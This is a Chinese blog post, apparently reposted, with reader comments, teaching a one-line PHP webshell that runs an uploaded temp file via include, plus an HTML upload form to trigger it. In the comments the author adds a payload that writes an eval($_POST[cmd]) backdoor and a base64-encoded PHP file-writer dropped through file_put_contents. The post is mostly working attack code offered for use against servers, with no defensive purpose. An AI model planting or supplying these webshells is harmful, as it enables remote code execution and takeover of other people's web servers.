另类PHP一句话小马

时间:2014-11-8    作者:admin    分类: 摘自网络


利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。


<?php @include($_FILES['u']['tmp_name']);   



<?php @include($_FILES['u']['tmp_name']);

使用方式也简单,构造一个html文件写入如下代码:




<form action="http:/a.b.c.com.cn/shell.php" method="POST" enctype="multipart/form-data">  
    <input type="file" name='u'>  
    <button>shell</button>  
</form> 



  

选择你的php大马点shell运行



我测试的时候的代码就是<?php phpinfo();保存的文件名为1.txt。



原文: http://www.zeroplace.cn/article.asp?id=906

标签: php 一句话木马 小马

评论:

gdd 2014-11-15 03:22
没弄明白,实验半天都没有成功。~~ 哎。
admin 2014-11-15 03:38
@gdd:例:
服务器上新建xx.php 其内容为
<?php @include($_FILES['u']['tmp_name']);
然后再在本地建立一个xx.html,内容为
<form action="http:/xxx.com/xx.php" method="POST" enctype="multipart/form-data">  
    <input type="file" name='u'>  
    <button>shell</button>  
</form>
再在本地新建一个1.php内容为
<?PHP
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
打开xx.html,上传1.php,则在网站根目录生成shell.php
gdd 2014-11-15 04:40
@admin:我测试了 不成功, 我测试的平台:linux
admin 2015-02-08 06:31
@gdd:<script language="PhP">echo file_put_contents("test.php", base64_decode("PD9waHAKaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIiKTsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgZm9yZWFjaCgkX1BPU1QgYXMgJGs9PiR2KSAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKPz4KPGZvcm0gbWV0aG9kPSJQT1NUIj4K5L+d5a2Y5paH5Lu25ZCNOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgc2l6ZT0iNjAiIHZhbHVlPSI8PyBlY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLF9fRklMRV9fKSA/PiI+Cjxicj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSJ0ZXh0IiBDT0xTPSI3MCIgUk9XUz0iMTgiID48L3RleHRhcmVhPgo8YnI+PGJyPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLkv53lrZgiPgo8Zm9ybT4KPD9waHAKaWYoaXNzZXQoJF9QT1NUWydmaWxlJ10pKQp7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwnd2InKTsKZWNobyBAZndyaXRlKCRmcCwkX1BPU1RbJ3RleHQnXSkgPyAn5L+d5a2Y5oiQ5YqfIScgOiAn5L+d5a2Y5aSx6LSlISc7CkBmY2xvc2UoJGZwKTsKfQo/PiA="));</script>

执行这个 你自己把base64编码的换成一句话吧,这个是个小马。写出的test.php